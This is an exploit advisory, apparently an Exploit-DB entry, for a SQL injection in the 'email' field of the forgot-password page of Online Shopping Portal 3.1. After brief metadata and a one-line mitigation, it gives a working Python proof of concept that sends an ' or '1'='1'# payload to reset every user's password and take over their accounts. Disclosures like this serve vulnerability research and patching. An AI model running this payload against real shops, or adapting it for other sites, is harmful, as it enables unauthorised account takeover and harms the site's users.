Online Shopping Portal 3.1 - 'email' SQL Injection

vendor:

Online Shopping Portal

by:

gh1mau

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Online Shopping Portal

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: NO

Related CWE: N/A

CPE: a:phpgurukul:online_shopping_portal

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

2020

Online Shopping Portal 3.1 – ’email’ SQL Injection

An attacker can exploit a SQL injection vulnerability in the 'forgot-password.php' page of the Online Shopping Portal 3.1 application. The 'email' parameter is not properly sanitized, allowing an attacker to inject malicious SQL code into the query. This can be used to change the password of any user in the application.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user input should be validated and filtered before being used in a SQL query.

Source

Exploit-DB raw data:

# Exploit Title: Online Shopping Portal 3.1 - 'email' SQL Injection 
# Date: 2020-07-06
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7393
# Version: V3.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Info:
-----
[+] Attacker can change all user's password from the forgot-password.php page and login to their account.

Vulnerable File:
---------------- 
/forgot-password.php

Vulnerable Code:
-----------------
line 8: $email=$_POST['email'];

Vulnerable Issue:
-----------------
$email=$_POST['email']; has no sanitization



POC:
----

import requests

url = "http://localhost:80/shopping/forgot-password.php"

password = "gh1mau"
payload = "email=saya%40saya.com' or '1'='1'#&contact=1234&password=" + password + "&confirmpassword=" + password + "&change="
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=pq2dc9oja60slrifcfjuq7vhf0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/shopping/forgot-password.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "96", 
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.request("POST", url, data=payload, headers=headers)

print("[+] Try login with password : " + password)